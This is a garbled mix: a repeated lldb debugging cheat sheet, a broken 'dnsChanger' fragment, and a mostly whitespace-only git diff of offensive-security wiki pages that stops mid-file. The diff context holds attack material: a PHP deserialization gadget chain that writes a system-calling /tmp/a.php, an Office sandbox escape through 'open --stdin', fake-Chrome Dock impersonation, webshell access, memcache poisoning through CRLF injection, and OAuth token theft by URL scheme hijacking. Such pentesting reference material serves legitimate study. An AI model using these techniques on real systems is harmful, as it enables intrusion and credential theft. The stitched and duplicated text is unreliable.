Note that most of Apple’s Objective-C APIs or methods return objects, and thus should be displayed via the “print object” (po) command. If po doesn't produce a meaningful output use x/b
memory
memory read 0x000.... memory read $x0+0xf2a memory write 0x100600000 -s 4 0x41414141 #Write AAAA in that address memory write -f s $rip+0x11f+7 "AAAA" #Write AAAA in the addr
disassembly
dis #Disas current function
dis -n <funcname> #Disas func
dis -n <funcname> -b <basename> #Disas func dis -c 6 #Disas 6 lines dis -c 0x100003764 -e 0x100003768 # From one add until the other dis -p -c 4 # Start in current address disassembling
parray
parray 3 (char **)$x1 # Check array of 3 components in x1 reg
image dump sections
Print map of the current process memory
image dump symtab <library>
image dump symtab CoreNLP #Get the address of all the symbols from CoreNLP
+
(lldb) Command
Description
run (r)
Starting execution, which will continue unabated until a breakpoint is hit or the process terminates.
process launch --stop-at-entry
Strt execution stopping at the entry point
continue (c)
Continue execution of the debugged process.
nexti (n / ni)
Execute the next instruction. This command will skip over function calls.
stepi (s / si)
Execute the next instruction. Unlike the nexti command, this command will step into function calls.
finish (f)
Execute the rest of the instructions in the current function (“frame”) return and halt.
control + c
Pause execution. If the process has been run (r) or continued (c), this will cause the process to halt ...wherever it is currently executing.
breakpoint (b)
b main #Any func called main
b `main #Main func of the bin
b set -n main --shlib #Main func of the indicated bin
breakpoint set -r '\[NSFileManager .*\]$' #Any NSFileManager method
breakpoint set -r '\[NSFileManager contentsOfDirectoryAtPath:.*\]$'
break set -r . -s libobjc.A.dylib # Break in all functions of that library
b -a 0x0000000100004bd9
br l #Breakpoint list
br e/dis #Enable/Disable breakpoint
breakpoint delete
help
help breakpoint #Get help of breakpoint command
help memory write #Get help to write into the memory
This will print the object referenced by the param
po $raw
{
dnsChanger = {
"affiliate" = "";
"blacklist_dns" = ();
Note that most of Apple’s Objective-C APIs or methods return objects, and thus should be displayed via the “print object” (po) command. If po doesn't produce a meaningful output use x/b
memory
memory read 0x000.... memory read $x0+0xf2a memory write 0x100600000 -s 4 0x41414141 #Write AAAA in that address memory write -f s $rip+0x11f+7 "AAAA" #Write AAAA in the addr
disassembly
dis #Disas current function
dis -n #Disas func
dis -n -b #Disas func dis -c 6 #Disas 6 lines dis -c 0x100003764 -e 0x100003768 # From one add until the other dis -p -c 4 # Start in current address disassembling
parray
parray 3 (char **)$x1 # Check array of 3 components in x1 reg
image dump sections
Print map of the current process memory
image dump symtab
image dump symtab CoreNLP #Get the address of all the symbols from CoreNLP
> [!NOTE]
> When calling the **`objc_sendMsg`** function, the **rsi** register holds the **name of the method** as a null-terminated (“C”) string. To print the name via lldb do:
diff --git a/src/macos-hardening/macos-security-and-privilege-escalation/macos-defensive-apps.md b/src/macos-hardening/macos-security-and-privilege-escalation/macos-defensive-apps.md
index fe0a6669a..3bbeb5acd 100644
--- a/src/macos-hardening/macos-security-and-privilege-escalation/macos-defensive-apps.md
+++ b/src/macos-hardening/macos-security-and-privilege-escalation/macos-defensive-apps.md
@@ -14,7 +14,7 @@
## Keyloggers detection
-- [**ReiKey**](https://objective-see.org/products/reikey.html): Objective-See application to find **keyloggers** that install keyboard "event taps"
+- [**ReiKey**](https://objective-see.org/products/reikey.html): Objective-See application to find **keyloggers** that install keyboard "event taps"
{{#include ../../banners/hacktricks-training.md}}
diff --git a/src/macos-hardening/macos-security-and-privilege-escalation/macos-gcd-grand-central-dispatch.md b/src/macos-hardening/macos-security-and-privilege-escalation/macos-gcd-grand-central-dispatch.md
index f9b21a1b1..5dcd50ce3 100644
--- a/src/macos-hardening/macos-security-and-privilege-escalation/macos-gcd-grand-central-dispatch.md
+++ b/src/macos-hardening/macos-security-and-privilege-escalation/macos-gcd-grand-central-dispatch.md
@@ -18,7 +18,7 @@ This is very helpful to manage parallel execution successfully, greatly reducing
A block is a **self contained section of code** (like a function with arguments returning a value) and can also specify bound variables.\
However, at compiler level blocks doesn't exist, they are `os_object`s. Each of these objects is formed by two structures:
-- **block literal**:
+- **block literal**:
- It starts by the **`isa`** field, pointing to the block's class:
- `NSConcreteGlobalBlock` (blocks from `__DATA.__const`)
- `NSConcreteMallocBlock` (blocks in the heap)
diff --git a/src/macos-hardening/macos-security-and-privilege-escalation/macos-privilege-escalation.md b/src/macos-hardening/macos-security-and-privilege-escalation/macos-privilege-escalation.md
index 1b50bb6d3..66f65d692 100644
--- a/src/macos-hardening/macos-security-and-privilege-escalation/macos-privilege-escalation.md
+++ b/src/macos-hardening/macos-security-and-privilege-escalation/macos-privilege-escalation.md
@@ -51,7 +51,7 @@ Using some **social engineering** you could **impersonate for example Google Chr
{{#tab name="Chrome Impersonation"}}
Some suggestions:
-- Check in the Dock if there is a Chrome, and in that case **remove** that entry and **add** the **fake** **Chrome entry in the same position** in the Dock array.
+- Check in the Dock if there is a Chrome, and in that case **remove** that entry and **add** the **fake** **Chrome entry in the same position** in the Dock array.
```bash
#!/bin/sh
diff --git a/src/macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/macos-dirty-nib.md b/src/macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/macos-dirty-nib.md
index 1d56599c9..59218aa28 100644
--- a/src/macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/macos-dirty-nib.md
+++ b/src/macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/macos-dirty-nib.md
@@ -52,7 +52,7 @@ The main Nib file is referenced in the value **`NSMainNibFile`** inside the `Inf
### Other Example
-In the post [https://sector7.computest.nl/post/2024-04-bringing-process-injection-into-view-exploiting-all-macos-apps-using-nib-files/](https://sector7.computest.nl/post/2024-04-bringing-process-injection-into-view-exploiting-all-macos-apps-using-nib-files/) you can find tutorial on how to create a dirty nib.
+In the post [https://sector7.computest.nl/post/2024-04-bringing-process-injection-into-view-exploiting-all-macos-apps-using-nib-files/](https://sector7.computest.nl/post/2024-04-bringing-process-injection-into-view-exploiting-all-macos-apps-using-nib-files/) you can find tutorial on how to create a dirty nib.
### Addressing Launch Constraints
diff --git a/src/macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/macos-ipc-inter-process-communication/README.md b/src/macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/macos-ipc-inter-process-communication/README.md
index c78575597..36672d73d 100644
--- a/src/macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/macos-ipc-inter-process-communication/README.md
+++ b/src/macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/macos-ipc-inter-process-communication/README.md
@@ -192,10 +192,10 @@ Process 71019 stopped
* thread #1, queue = 'com.apple.main-thread', stop reason = breakpoint 1.1
frame #0: 0x0000000181d3ac20 libsystem_kernel.dylib`mach_msg
libsystem_kernel.dylib`mach_msg:
--> 0x181d3ac20 <+0>: pacibsp
- 0x181d3ac24 <+4>: sub sp, sp, #0x20
- 0x181d3ac28 <+8>: stp x29, x30, [sp, #0x10]
- 0x181d3ac2c <+12>: add x29, sp, #0x10
+-> 0x181d3ac20 <+0>: pacibsp
+ 0x181d3ac24 <+4>: sub sp, sp, #0x20
+ 0x181d3ac28 <+8>: stp x29, x30, [sp, #0x10]
+ 0x181d3ac2c <+12>: add x29, sp, #0x10
Target 0: (SandboxedShellApp) stopped.
(lldb) bt
* thread #1, queue = 'com.apple.main-thread', stop reason = breakpoint 1.1
@@ -208,7 +208,7 @@ Target 0: (SandboxedShellApp) stopped.
frame #6: 0x0000000181abbbfc libxpc.dylib`_xpc_early_init + 92
frame #7: 0x0000000181a9583c libxpc.dylib`_libxpc_initializer + 1104
frame #8: 0x000000018e59e6ac libSystem.B.dylib`libSystem_initializer + 236
- frame #9: 0x0000000181a1d5c8 dyld`invocation function for block in dyld4::Loader::findAndRunAllInitializers(dyld4::RuntimeState&) const::$_0::operator()() const + 168
+ frame #9: 0x0000000181a1d5c8 dyld`invocation function for block in dyld4::Loader::findAndRunAllInitializers(dyld4::RuntimeState&) const::$_0::operator()() const + 168
To get the arguments of **`mach_msg`** check the registers. These are the arguments (from [mach/message.h](https://opensource.apple.com/source/xnu/xnu-7195.81.3/osfmk/mach/message.h.auto.html)):
diff --git a/src/macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/macos-ipc-inter-process-communication/macos-mig-mach-interface-generator.md b/src/macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/macos-ipc-inter-process-communication/macos-mig-mach-interface-generator.md
index 10c5acaba..777a9035a 100644
--- a/src/macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/macos-ipc-inter-process-communication/macos-mig-mach-interface-generator.md
+++ b/src/macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/macos-ipc-inter-process-communication/macos-mig-mach-interface-generator.md
@@ -150,7 +150,7 @@ Finally, another important function to make the server work will be **`myipc_ser
OutHeadP->msgh_id = InHeadP->msgh_id + 100;
OutHeadP->msgh_reserved = 0;
- if ((InHeadP->msgh_id > 500) || (InHeadP->msgh_id < 500) ||
+ if ((InHeadP->msgh_id > 500) || (InHeadP->msgh_id < 500) ||
((routine = SERVERPREFmyipc_subsystem.routine[InHeadP->msgh_id - 500].stub_routine) == 0)) {
((mig_reply_error_t *)OutHeadP)->NDR = NDR_record;
((mig_reply_error_t *)OutHeadP)->RetCode = MIG_BAD_ID;
@@ -270,13 +270,13 @@ It was previously mentioned that the function that will take care of **calling t
var_10 = arg0;
var_18 = arg1;
// Initial instructions to find the proper function ponters
- *(int32_t *)var_18 = *(int32_t *)var_10 & 0x1f;
+ *(int32_t *)var_18 = *(int32_t *)var_10 & 0x1f;
*(int32_t *)(var_18 + 0x8) = *(int32_t *)(var_10 + 0x8);
*(int32_t *)(var_18 + 0x4) = 0x24;
*(int32_t *)(var_18 + 0xc) = 0x0;
*(int32_t *)(var_18 + 0x14) = *(int32_t *)(var_10 + 0x14) + 0x64;
*(int32_t *)(var_18 + 0x10) = 0x0;
- if (*(int32_t *)(var_10 + 0x14) <= 0x1f4 && *(int32_t *)(var_10 + 0x14) >= 0x1f4) {
+ if (*(int32_t *)(var_10 + 0x14) <= 0x1f4 && *(int32_t *)(var_10 + 0x14) >= 0x1f4) {
rax = *(int32_t *)(var_10 + 0x14);
// Call to sign_extend_64 that can help to identifyf this function
// This stores in rax the pointer to the call that needs to be called
@@ -318,7 +318,7 @@ This is the same function decompiled in a difefrent Hopper free version:
var_10 = arg0;
var_18 = arg1;
// Initial instructions to find the proper function ponters
- *(int32_t *)var_18 = *(int32_t *)var_10 & 0x1f | 0x0;
+ *(int32_t *)var_18 = *(int32_t *)var_10 & 0x1f | 0x0;
*(int32_t *)(var_18 + 0x8) = *(int32_t *)(var_10 + 0x8);
*(int32_t *)(var_18 + 0x4) = 0x24;
*(int32_t *)(var_18 + 0xc) = 0x0;
@@ -327,19 +327,19 @@ This is the same function decompiled in a difefrent Hopper free version:
r8 = *(int32_t *)(var_10 + 0x14);
r8 = r8 - 0x1f4;
if (r8 > 0x0) {
- if (CPU_FLAGS & G) {
+ if (CPU_FLAGS & G) {
r8 = 0x1;
}
}
- if ((r8 & 0x1) == 0x0) {
+ if ((r8 & 0x1) == 0x0) {
r8 = *(int32_t *)(var_10 + 0x14);
r8 = r8 - 0x1f4;
- if (r8 < 0x0) {
- if (CPU_FLAGS & L) {
+ if (r8 < 0x0) {
+ if (CPU_FLAGS & L) {
r8 = 0x1;
}
}
- if ((r8 & 0x1) == 0x0) {
+ if ((r8 & 0x1) == 0x0) {
r8 = *(int32_t *)(var_10 + 0x14);
// 0x1f4 = 500 (the strating ID)
r8 = r8 - 0x1f4;
@@ -348,13 +348,13 @@ This is the same function decompiled in a difefrent Hopper free version:
var_20 = r8;
r8 = r8 - 0x0;
if (r8 != 0x0) {
- if (CPU_FLAGS & NE) {
+ if (CPU_FLAGS & NE) {
r8 = 0x1;
}
}
// Same if else as in the previous version
// Check the used of the address 0x100004040 (functions addresses array)
- if ((r8 & 0x1) == 0x0) {
+ if ((r8 & 0x1) == 0x0) {
*(var_18 + 0x18) = **0x100004000;
*(int32_t *)(var_18 + 0x20) = 0xfffffed1;
var_4 = 0x0;
diff --git a/src/macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/macos-library-injection/macos-dyld-process.md b/src/macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/macos-library-injection/macos-dyld-process.md
index 955253c76..eba5f10fd 100644
--- a/src/macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/macos-library-injection/macos-dyld-process.md
+++ b/src/macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/macos-library-injection/macos-dyld-process.md
@@ -28,7 +28,7 @@ Then, it maps the dyld shared cache which prelinks all the important system libr
1. it start loading inserted libraries with `DYLD_INSERT_LIBRARIES` (if allowed)
2. Then the shared cached ones
3. Then the imported ones
- 1. Then continue importing libraries recursively
+ 1. Then continue importing libraries recursively
Once all are loaded the **initialisers** of these libraries are run. These are coded using **`__attribute__((constructor))`** defined in the `LC_ROUTINES[_64]` (now deprecated) or by pointer in a section flagged with `S_MOD_INIT_FUNC_POINTERS` (usually: **`__DATA.__MOD_INIT_FUNC`**).
diff --git a/src/macos-hardening/macos-security-and-privilege-escalation/macos-security-protections/macos-amfi-applemobilefileintegrity.md b/src/macos-hardening/macos-security-and-privilege-escalation/macos-security-protections/macos-amfi-applemobilefileintegrity.md
index a6adaa2b9..6007e4681 100644
--- a/src/macos-hardening/macos-security-and-privilege-escalation/macos-security-protections/macos-amfi-applemobilefileintegrity.md
+++ b/src/macos-hardening/macos-security-and-privilege-escalation/macos-security-protections/macos-amfi-applemobilefileintegrity.md
@@ -36,8 +36,8 @@ These are some of the MACF policies it registers:
- **`vnode_check_exec`**: Gets called when a executable files are loaded in memory and sets `cs_hard | cs_kill` which will kill the process if any of the pages becomes invalid
- **`vnode_check_getextattr`**: MacOS: Check `com.apple.root.installed` and `isVnodeQuarantined()`
- **`vnode_check_setextattr`**: As get + com.apple.private.allow-bless and internal-installer-equivalent entitlement
-- **`vnode_check_signature`**: Code that calls XNU to check the code signature using entitlements, trust cache and `amfid`
-- **`proc_check_run_cs_invalid`**: It intercepts `ptrace()` calls (`PT_ATTACH` and `PT_TRACE_ME`). It checks for any of the entitlements `get-task-allow`, `run-invalid-allow` and `run-unsigned-code` and if none, it checks if debugging is permitted.
+- **`vnode_check_signature`**: Code that calls XNU to check the code signature using entitlements, trust cache and `amfid`
+- **`proc_check_run_cs_invalid`**: It intercepts `ptrace()` calls (`PT_ATTACH` and `PT_TRACE_ME`). It checks for any of the entitlements `get-task-allow`, `run-invalid-allow` and `run-unsigned-code` and if none, it checks if debugging is permitted.
- **`proc_check_map_anon`**: If mmap is called with the **`MAP_JIT`** flag, AMFI will checks for the `dynamic-codesigning` entitlement.
`AMFI.kext` also exposes an API for other kernel extensions, and it's possible to find its dependencies with:
diff --git a/src/macos-hardening/macos-security-and-privilege-escalation/macos-security-protections/macos-macf-mandatory-access-control-framework.md b/src/macos-hardening/macos-security-and-privilege-escalation/macos-security-protections/macos-macf-mandatory-access-control-framework.md
index 2124c1639..f2bcaa501 100644
--- a/src/macos-hardening/macos-security-and-privilege-escalation/macos-security-protections/macos-macf-mandatory-access-control-framework.md
+++ b/src/macos-hardening/macos-security-and-privilege-escalation/macos-security-protections/macos-macf-mandatory-access-control-framework.md
@@ -26,7 +26,7 @@ MACF use **labels** that then the policies checking if they should grant some ac
## MACF Policies
-A MACF Policy defined **rule and conditions to be applied in certain kernel operations**.
+A MACF Policy defined **rule and conditions to be applied in certain kernel operations**.
A kernel extension could configure a `mac_policy_conf` struct and then register it calling `mac_policy_register`. From [here](https://opensource.apple.com/source/xnu/xnu-2050.18.24/security/mac_policy.h.auto.html):
@@ -115,7 +115,7 @@ mmap(proc_t p, struct mmap_args *uap, user_addr_t *retval)
#if CONFIG_MACF
error = mac_file_check_mmap(vfs_context_ucred(ctx),
fp->fp_glob, prot, flags, file_pos + pageoff,
- &maxprot);
+ &maxprot);
if (error) {
(void)vnode_put(vp);
goto bad;
diff --git a/src/macos-hardening/macos-security-and-privilege-escalation/macos-security-protections/macos-sandbox/macos-sandbox-debug-and-bypass/macos-office-sandbox-bypasses.md b/src/macos-hardening/macos-security-and-privilege-escalation/macos-security-protections/macos-sandbox/macos-sandbox-debug-and-bypass/macos-office-sandbox-bypasses.md
index b2f0de94e..45393e916 100644
--- a/src/macos-hardening/macos-security-and-privilege-escalation/macos-security-protections/macos-sandbox/macos-sandbox-debug-and-bypass/macos-office-sandbox-bypasses.md
+++ b/src/macos-hardening/macos-security-and-privilege-escalation/macos-security-protections/macos-sandbox/macos-sandbox-debug-and-bypass/macos-office-sandbox-bypasses.md
@@ -44,7 +44,7 @@ Check the [**original report here**](https://perception-point.io/blog/technical-
The **`open`** utility also supported the **`--stdin`** param (and after the previous bypass it was no longer possible to use `--env`).
-The thing is that even if **`python`** was signed by Apple, it **won't execute** a script with the **`quarantine`** attribute. However, it was possible to pass it a script from stdin so it won't check if it was quarantined or not:
+The thing is that even if **`python`** was signed by Apple, it **won't execute** a script with the **`quarantine`** attribute. However, it was possible to pass it a script from stdin so it won't check if it was quarantined or not:
1. Drop a **`~$exploit.py`** file with arbitrary Python commands.
2. Run _open_ **`–stdin='~$exploit.py' -a Python`**, which runs the Python app with our dropped file serving as its standard input. Python happily runs our code, and since it’s a child process of _launchd_, it isn’t bound to Word’s sandbox rules.
diff --git a/src/macos-hardening/macos-security-and-privilege-escalation/macos-security-protections/macos-sip.md b/src/macos-hardening/macos-security-and-privilege-escalation/macos-security-protections/macos-sip.md
index 88331bd86..7d034caca 100644
--- a/src/macos-hardening/macos-security-and-privilege-escalation/macos-security-protections/macos-sip.md
+++ b/src/macos-hardening/macos-security-and-privilege-escalation/macos-security-protections/macos-sip.md
@@ -230,7 +230,7 @@ The command **`diskutil apfs list`** lists the **details of the APFS volumes** a
| Capacity In Use By Volumes: 219214536704 B (219.2 GB) (44.3% used)
| Capacity Not Allocated: 275170258944 B (275.2 GB) (55.7% free)
| |
-| +-< Physical Store disk0s2 86D4B7EC-6FA5-4042-93A7-D3766A222EBE
+| +-< Physical Store disk0s2 86D4B7EC-6FA5-4042-93A7-D3766A222EBE
| | -----------------------------------------------------------
| | APFS Physical Store Disk: disk0s2
| | Size: 494384795648 B (494.4 GB)
diff --git a/src/mobile-pentesting/ios-pentesting/ios-custom-uri-handlers-deeplinks-custom-schemes.md b/src/mobile-pentesting/ios-pentesting/ios-custom-uri-handlers-deeplinks-custom-schemes.md
index 4181e3535..3e116d9cd 100644
--- a/src/mobile-pentesting/ios-pentesting/ios-custom-uri-handlers-deeplinks-custom-schemes.md
+++ b/src/mobile-pentesting/ios-pentesting/ios-custom-uri-handlers-deeplinks-custom-schemes.md
@@ -70,7 +70,7 @@ Opened URL: iGoat://?contactNumber=0&message=0
## Custom URL scheme hijacking
-According to [**this post**](https://evanconnelly.github.io/post/ios-oauth/), malicious apps could **register other apps custom schemes,** then the malicious app can open a browser that has all the cookies of the Safari App with [ASWebAuthenticationSession](https://developer.apple.com/documentation/authenticationservices/aswebauthenticationsession/2990952-init#parameters).
+According to [**this post**](https://evanconnelly.github.io/post/ios-oauth/), malicious apps could **register other apps custom schemes,** then the malicious app can open a browser that has all the cookies of the Safari App with [ASWebAuthenticationSession](https://developer.apple.com/documentation/authenticationservices/aswebauthenticationsession/2990952-init#parameters).
With the broser the malicious app can load an attackers controlled web page and TCC will ask the mobile user for permissions to open that app. Then, the malicious webpage could redirect to a victim page, for example an OAuth flow with the parameter `prompt=none`. If the user was already logged in the OAuth flow, the OAuth flow will send the secret back to the victim application using the custom scheme of the victim app.\
However, because the malicious app also registered it and because the used browser is inside the malicious app, the custom scheme will be handled in this case by the malicious app which will be able to steal the OAuth token.
diff --git a/src/network-services-pentesting/11211-memcache/memcache-commands.md b/src/network-services-pentesting/11211-memcache/memcache-commands.md
index 27339936b..70f8289ce 100644
--- a/src/network-services-pentesting/11211-memcache/memcache-commands.md
+++ b/src/network-services-pentesting/11211-memcache/memcache-commands.md
@@ -14,7 +14,7 @@ Sadly the syntax description isn’t really clear and a simple help command list
| Command | Description | Example |
| -------------------- | --------------------------------------------------------------- | ----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | ----------------------------- |
| get | Reads a value | `get mykey` |
-| set | Set a key unconditionally |
set mykey <flags> <ttl> <size>
<p>Ensure to use \r\n als line breaks when using Unix CLI tools. For example</p> printf "set mykey 0 60 4\r\ndata\r\n" | nc localhost 11211
|
+| set | Set a key unconditionally |
set mykey
Ensure to use \r\n als line breaks when using Unix CLI tools. For example
printf "set mykey 0 60 4\r\ndata\r\n" | nc localhost 11211 |
| add | Add a new key | `add newkey 0 60 5` |
| replace | Overwrite existing key | `replace key 0 60 5` |
| append | Append data to existing key | `append key 0 60 15` |
diff --git a/src/network-services-pentesting/nfs-service-pentesting.md b/src/network-services-pentesting/nfs-service-pentesting.md
index 44c80d930..96ef5c155 100644
--- a/src/network-services-pentesting/nfs-service-pentesting.md
+++ b/src/network-services-pentesting/nfs-service-pentesting.md
@@ -10,7 +10,7 @@ A notable aspect of this protocol is its lack of built-in **authentication** or
Authentication commonly relies on **UNIX `UID`/`GID` identifiers and group memberships**. However, a challenge arises due to the potential mismatch in **`UID`/`GID` mappings** between clients and servers, leaving no room for additional verification by the server. Consequently, the protocol is best suited for use within **trusted networks**, given its reliance on this method of authentication.
-**Default port**: 2049/TCP/UDP (except version 4, it just needs TCP or UDP).
+**Default port**: 2049/TCP/UDP (except version 4, it just needs TCP or UDP).
```
2049/tcp open nfs 2-3 (RPC #100003
diff --git a/src/network-services-pentesting/pentesting-web/dotnetnuke-dnn.md b/src/network-services-pentesting/pentesting-web/dotnetnuke-dnn.md
index 696480748..f4d9e33c8 100644
--- a/src/network-services-pentesting/pentesting-web/dotnetnuke-dnn.md
+++ b/src/network-services-pentesting/pentesting-web/dotnetnuke-dnn.md
@@ -39,7 +39,7 @@ Then access to **`/Portals/0/shell.asp`** to access your webshell.
### Privilege Escalation
-You can **escalate privileges** using the **Potatoes** or **PrintSpoofer** for example.
+You can **escalate privileges** using the **Potatoes** or **PrintSpoofer** for example.
{{#include ../../banners/hacktricks-training.md}}
diff --git a/src/network-services-pentesting/pentesting-web/jira.md b/src/network-services-pentesting/pentesting-web/jira.md
index a50a9a45a..b525db21c 100644
--- a/src/network-services-pentesting/pentesting-web/jira.md
+++ b/src/network-services-pentesting/pentesting-web/jira.md
@@ -98,7 +98,7 @@ public class helloworld implements Macro {
}
```
-It's possible to observe that these plugins might be vulnerable to common web vulnerabilities like XSS. For example the previous example is vulnerable because it's reflecting data given by the user.
+It's possible to observe that these plugins might be vulnerable to common web vulnerabilities like XSS. For example the previous example is vulnerable because it's reflecting data given by the user.
Once a XSS is found, in [**this github repo**](https://github.com/cyllective/XSS-Payloads/tree/main/Confluence) you can find some payloads to increase the impact of the XSS.
diff --git a/src/network-services-pentesting/pentesting-web/nginx.md b/src/network-services-pentesting/pentesting-web/nginx.md
index f2f676995..041f4fd29 100644
--- a/src/network-services-pentesting/pentesting-web/nginx.md
+++ b/src/network-services-pentesting/pentesting-web/nginx.md
@@ -79,7 +79,7 @@ location = /admin/ {
>
> A regex can also be vulnerable like:
>
-> `location ~ /docs/([^/])? { … $1 … }` - Vulnerable
+> `location ~ /docs/([^/])? { … $1 … }` - Vulnerable
>
> `location ~ /docs/([^/\s])? { … $1 … }` - Not vulnerable (checking spaces)
>
diff --git a/src/network-services-pentesting/pentesting-web/wordpress.md b/src/network-services-pentesting/pentesting-web/wordpress.md
index 908adea45..79e111c4f 100644
--- a/src/network-services-pentesting/pentesting-web/wordpress.md
+++ b/src/network-services-pentesting/pentesting-web/wordpress.md
@@ -370,7 +370,7 @@ mysql -u --password= -h localhost -e "use wordpress;UPDATE
Knowing how a Wordpress plugin can expose functionality is key in order to find vulnerabilities on its functionality. You can find how a plugin might expose functionality in the following bullet points and some example of vulnerable plugins in [**this blog post**](https://nowotarski.info/wordpress-nonce-authorization/).
-- **`wp_ajax`**
+- **`wp_ajax`**
One of the ways a plugin can expose functions to uses if via AJAX handlers. These ones could contain logic, authorization, or authentication bugs. Moreover, it's kind of frquelty that these functions are going to base both the authentication and authorization in the existence of a wordpress nonce which **any user authenticated in the Wordpress instance might have** (independently of its role).
diff --git a/src/pentesting-web/cache-deception/cache-poisoning-via-url-discrepancies.md b/src/pentesting-web/cache-deception/cache-poisoning-via-url-discrepancies.md
index d33a95bf0..f69aa548d 100644
--- a/src/pentesting-web/cache-deception/cache-poisoning-via-url-discrepancies.md
+++ b/src/pentesting-web/cache-deception/cache-poisoning-via-url-discrepancies.md
@@ -29,7 +29,7 @@ Other specific delimiters might be found following this process:
### **Encodings**
-Different HTTP servers and proxies like Nginx, Node, and CloudFront decode delimiters differently, leading to inconsistencies across CDNs and origin servers that could be exploited. For example, if the web server perform this transformation `/myAccount%3Fparam` → `/myAccount?param` but the cache server keeps as key the path `/myAccount%3Fparam`, there is an inconsistency.
+Different HTTP servers and proxies like Nginx, Node, and CloudFront decode delimiters differently, leading to inconsistencies across CDNs and origin servers that could be exploited. For example, if the web server perform this transformation `/myAccount%3Fparam` → `/myAccount?param` but the cache server keeps as key the path `/myAccount%3Fparam`, there is an inconsistency.
A way to check for these inconsistencies is to send requests URL encoding different chars after loading the path without any encoding and check if the encoded path response came from the cached response.
diff --git a/src/pentesting-web/clickjacking.md b/src/pentesting-web/clickjacking.md
index af33957a0..1b32d9395 100644
--- a/src/pentesting-web/clickjacking.md
+++ b/src/pentesting-web/clickjacking.md
@@ -97,8 +97,8 @@ background: #F00;
If you have identified an **XSS attack that requires a user to click** on some element to **trigger** the XSS and the page is **vulnerable to clickjacking**, you could abuse it to trick the user into clicking the button/link.\
Example:\
-_You found a **self XSS** in some private details of the account (details that **only you can set and read**). The page with the **form** to set these details is **vulnerable** to **Clickjacking** and you can **prepopulate** the **form** with the GET parameters._\
-\_\_An attacker could prepare a **Clickjacking** attack to that page **prepopulating** the **form** with the **XSS payload** and **tricking** the **user** into **Submit** the form. So, **when the form is submitted** and the values are modified, the **user will execute the XSS**.
+You found a **self XSS** in some private details of the account (details that **only you can set and read**). The page with the **form** to set these details is **vulnerable** to **Clickjacking** and you can **prepopulate** the **form** with the GET parameters.\
+An attacker could prepare a **Clickjacking** attack to that page **prepopulating** the **form** with the **XSS payload** and **tricking** the **user** into **Submit** the form. So, **when the form is submitted** and the values are modified, the **user will execute the XSS**.
## Strategies to Mitigate Clickjacking
diff --git a/src/pentesting-web/crlf-0d-0a.md b/src/pentesting-web/crlf-0d-0a.md
index 3fe8460f4..a0f59c0a4 100644
--- a/src/pentesting-web/crlf-0d-0a.md
+++ b/src/pentesting-web/crlf-0d-0a.md
@@ -161,11 +161,11 @@ If a platform is taking **data from an HTTP request and using it without sanitiz
For example, in the original discovered vuln, cache keys were used to return the IP and port a user shuold connect to, and attackers were able to **inject memcache comands** that would **poison** the **cache to send the vistims details** (usrnames and passwords included) to the attacker servers:
-
+
Moreover, researchers also discovered that they could desync the memcache responses to send the attackers ip and ports to users whose email the attacker didn't know:
-
+
### How to Prevent CRLF / HTTP Header Injections in Web Applications
diff --git a/src/pentesting-web/deserialization/php-deserialization-+-autoload-classes.md b/src/pentesting-web/deserialization/php-deserialization-+-autoload-classes.md
index eb57e7e6e..d688bb286 100644
--- a/src/pentesting-web/deserialization/php-deserialization-+-autoload-classes.md
+++ b/src/pentesting-web/deserialization/php-deserialization-+-autoload-classes.md
@@ -52,7 +52,7 @@ In my case, I didn’t have anything like that, but there was inside the **same
a:2:{s:5:"Extra";O:28:"www_frontend_vendor_autoload":0:{}s:6:"Extra2";O:31:"GuzzleHttp\Cookie\FileCookieJar":4:{s:7:"cookies";a:1:{i:0;O:27:"GuzzleHttp\Cookie\SetCookie":1:{s:4:"data";a:3:{s:7:"Expires";i:1;s:7:"Discard";b:0;s:5:"Value";s:56:"";}}}s:10:"strictMode";N;s:8:"filename";s:10:"/tmp/a.php";s:19:"storeSessionCookies";b:1;}}
```
-- Now, we can **create and write a file**, however, the user **couldn’t write in any folder inside the web server**. So, as you can see in the payload, PHP calling **`system`** with some **base64** is created in **`/tmp/a.php`**. Then, we can **reuse the first type of payload** that we used to as LFI to load the composer loader of the other webapp t**o load the generated `/tmp/a.php`** file. Just add it to the deserialization gadget:
+- Now, we can **create and write a file**, however, the user **couldn’t write in any folder inside the web server**. So, as you can see in the payload, PHP calling **`system`** with some **base64** is created in **`/tmp/a.php`**. Then, we can **reuse the first type of payload** that we used to as LFI to load the composer loader of the other webapp t**o load the generated `/tmp/a.php`** file. Just add it to the deserialization gadget:
```php
a:3:{s:5:"Extra";O:28:"www_frontend_vendor_autoload":0:{}s:6:"Extra2";O:31:"GuzzleHttp\Cookie\FileCookieJar":4:{s:7:"cookies";a:1:{i:0;O:27:"GuzzleHttp\Cookie\SetCookie":1:{s:4:"data";a:3:{s:7:"Expires";i:1;s:7:"Discard";b:0;s:5:"Value";s:56:"";}}}s:10:"strictMode";N;s:8:"filename";s:10:"/tmp/a.php";s:19:"storeSessionCookies";b:1;}s:6:"Extra3";O:5:"tmp_a":0:{}}
diff --git a/src/pentesting-web/deserialization/ruby-class-pollution.md b/src/pentesting-web/deserialization/ruby-class-pollution.md
index b582d8115..f6b960948 100644
--- a/src/pentesting-web/deserialization/ruby-class-pollution.md
+++ b/src/pentesting-web/deserialization/ruby-class-pollution.md
@@ -154,7 +154,7 @@ JSONMergerApp.run(json_input)
### ActiveSupport’s `deep_merge`
-This isn't vulnerable by default but can be made vulnerable with something like:
+This isn't vulnerable by default but can be made vulnerable with something like:
```ruby
# Method to merge additional data into the object using ActiveSupport deep_merge
diff --git a/src/pentesting-web/email-injections.md b/src/pentesting-web/email-injections.md
index 43cf55387..036d7b32a 100644
